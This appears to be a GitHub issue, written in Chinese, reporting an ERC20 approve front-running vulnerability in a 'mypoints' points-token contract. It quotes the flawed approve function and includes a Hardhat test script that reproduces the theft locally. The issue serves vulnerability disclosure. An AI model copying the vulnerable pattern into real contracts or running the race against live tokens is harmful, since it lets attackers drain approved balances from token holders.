Skip to content

Problematic code design that allows attacker to front-run #109

@InPlusLab

Description

@InPlusLab

漏洞描述

在business_template/red_packet项目中,mypoints 是一个符合ERC20代币标准的积分代币合约,支持用户将自己的积分授权给其他用户使用,即用户A可以授权用户B直接使用指定数量的积分。该功能的核心是通过allows 变量记录用户之间的授权积分数量,其中缺省值代表授权数量为零。用户可以通过 approve 函数修改自己给其他用户授权的积分数量 allows。

正常情况:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A首先通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。然后用户B发布一笔调用 transferFrom 函数的交易转走用户A的50个积分。此时,用户A对用户B的授权数量会修改为0个积分。

攻击方法:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A同样通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。但是用户B(攻击者)监听到这笔交易,此时用户B发布一笔调用 transferFrom 函数的交易抢先在用户A发布的交易生效前转走用户A给自己授权的100个积分,此时用户A对用户B的授权数量改为0个积分。然后用户A的 approve 交易才生效,此时用户A对用户B的授权数量又被修改为50个积分。最终用户B又可以在用户A未经许可的情况下调用 transferFrom 函数转走用户A的50个积分。

漏洞代码片段

function approve(address _spender, uint256 _value) override external returns (bool success) {
   success = false;
   require(_value > 0, "_value must > 0");
   require(address(0) != _spender, "_spender must a valid address");
   require(balances[msg.sender] >= _value, "user's balance must enough");
   
   allows[msg.sender][_spender] = _value;
   
   emit Approval(msg.sender, _spender, _value);
   success = true;
   return true;
}

漏洞复现脚步

describe("testing mypoints", function (){
  let mypoints;
  let owner;
  let userA;
  let attacker;
  // depoly mypoints contract before testing
  beforeEach(async function(){
    [owner, userA, attacker] = await ethers.getSigners();
    const Mypoints = await ethers.getContractFactory("mypoints");
    mypoints = await Mypoints.deploy("mypoints_name","mypoints_symbol"); 
    await mypoints.connect(owner).mint(userA.address, 150);
    await mypoints.connect(userA).approve(attacker.address, 100);
  })
  
  it("Should successfully attack", async function(){
    console.log("before the attack");
    console.log("balance of userA =", await mypoints.balanceOf(userA.address));
    console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
    console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
    // attacker steal 100 token from userA before userA invoking approve
    await mypoints.connect(attacker).transferFrom(userA.address, attacker.address, 100);
    await mypoints.connect(userA).approve(attacker.address, 50);
  
    console.log("after the attack");
    console.log("balance of userA =", await mypoints.balanceOf(userA.address));
    console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
    console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
  })
})

结果截图
Picture 1

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions